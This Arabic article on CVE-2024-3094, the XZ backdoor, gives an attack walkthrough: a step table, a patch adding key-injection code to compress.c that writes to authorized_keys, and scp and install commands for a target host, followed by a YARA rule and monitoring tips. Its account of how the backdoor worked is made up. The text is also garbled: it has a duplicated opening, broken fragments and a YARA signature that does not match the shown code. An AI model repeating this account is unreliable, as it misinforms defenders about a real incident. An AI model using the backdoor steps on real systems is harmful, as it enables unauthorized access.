
كشف CVE-2024-3094 عن باب خلفي في مكتبة ضغط XZ، مما سمح بالوصول عن بُعد عبر SSH من خلال تجاوز المصادقة. إنه هجوم كبير على سلسلة التوريد يؤثر على أنظمة Linux، ويسلط الضوء على المخاطر في مكونات المصادر المفتوحة الموثوقة.
كشفت CVE-2024-3094 عن باب خلفي في مكتبة ضغط XZ، مما يتيح الوصول عن بُعد عبر SSH من خلال تجاوز المصادقة. وهو هجوم رئيسي على سلسلة التوريد يؤثر على أنظمة Linux، ويسلط الضوء على المخاطر في مكونات المصادر المفتوحة الموثوقة.
بقلم مارك ماليا
أصبحت مكتبة ضغط XZ، وهي مكوّن أساسي في العديد من توزيعات Linux الحديثة، هدفًا لهجوم متطور على سلسلة التوريد.
تم إدخال جزء من كود خبيث في شجرة المصدر، وتجميعه، وأصبح الآن ينتقل مع كل إصدار جديد من حزمة XZ. بمجرد تثبيته، يمكن للباب الخلفي فتح جلسة SSH من المضيف المخترق إلى أي نظام عن بُعد يثق به باعتباره مفتاحًا أصيلًا.
authorized_keys، يحصل المهاجمون على موطئ قدم دون الحاجة إلى تفاعل مباشر من المستخدم.| الخطوة | الإجراء | الملف / الدالة |
|---|---|---|
| 1 | استنساخ مستودع XZ | git clone https://github.com/xzdev/xz |
| 2 | تطبيق التصحيح على src/compress.c | patch -p0 < backdoor.patch |
| 3 | التجميع والتثبيت على مضيف Linux المستهدف | make && make install |
| 4 | يقرأ خادم SSH المفتاح المُحقن أثناء عملية المصادقة | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 بحيث يقع مفتاحنا داخل مخزن مخرجات الضغط في موضع يقل احتمال تغييره بعمليات ضغط XZ اللاحقة.$ cd xz
$ make
$ sudo make install
تقوم الأوامر أعلاه بتجميع ملف compress.c المُصحح وتثبيت المكتبة الجديدة تحت /usr/local/lib/xz.
بافتراض أن المهاجم يمتلك بالفعل بيانات اعتماد SSH (اسم المستخدم admin)، فإنه ينفذ:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
يحتوي install_xz_backdoor.sh على نفس تسلسل الأوامر الموضح أعلاه تمامًا، بالإضافة إلى أمر echo بسيط يؤكد نجاح التثبيت.
YARA هي أداة مطابقة أنماط يستخدمها متخصصو الأمن لتحديد البرمجيات الخبيثة وتصنيفها بناءً على توقيعات نصية أو ثنائية. تتيح للمحللين تعريف قواعد تكتشف سلاسل نصية محددة، أو تسلسلات بايتات، أو سلوكيات داخل الملفات. في سياق CVE-2024-3094، تكتسب YARA أهمية خاصة لأنها يمكن استخدامها لفحص وجود مفتاح SSH المُحقن والتعديلات المشبوهة على ملف compress.c في مكتبة XZ. من خلال صياغة قواعد YARA مستهدفة، يمكن للمدافعين اكتشاف الأنظمة المخترقة بهذا الباب الخلفي بشكل استباقي.
توقيع YARA: يمكن لقاعدة YARA مخصصة رصد وجود مفتاح SSH المُحقن وكتابات الملفات المشبوهة:
rule XZ_Backdoor_SSH_Key_Injection { meta: description = "Detects SSH key injection via modified compress.c" author = "Mark Mallia" severity = "high" strings: $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 } $ssh_path = "/home/admin/.ssh/authorized_keys" condition: $marker and $ssh_path }
مراقبة سلامة الملفات: انشر أدوات مثل Tripwire أو AIDE أو osquery لمراقبة ما يلي:
compress.c بحثًا عن تغييرات غير مصرح بها
.ssh/authorized_keys بحثًا عن مفاتيح مُحقنة
/usr/local/lib/xz بحثًا عن ملفات ثنائية معدّلة
عمليات تسجيل دخول SSH غير متوقعة من مضيفين موثوقين
تشوهات في ضغط مخرجات XZ
كتابات صامتة إلى .ssh/authorized_keys